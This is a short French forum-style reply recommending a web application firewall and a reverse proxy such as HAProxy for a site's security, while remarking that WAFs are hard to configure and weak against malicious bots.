Comme tu te contente d’utiliser le service (pas de le développer), si ton site a un parefeu en frontal, il suffit d’en activer la focntion WAF s’il en dispose et de mettre aussi un reverse proxy (genre HAPROXy qui fonctionne très bien) qui ajoute une couche de securité. Les WAF sont quasiment inefficaces contre les bots malveiullants. Ce sont des equipement qui ne sont pas super friendly quandf tu n’y connais rien. D’aillerus la grande difficulté à les paramétré a fait pendant longtemsp que ces equipement etaient peu utilisés alros qu’ils existent depuis près de 15 ans.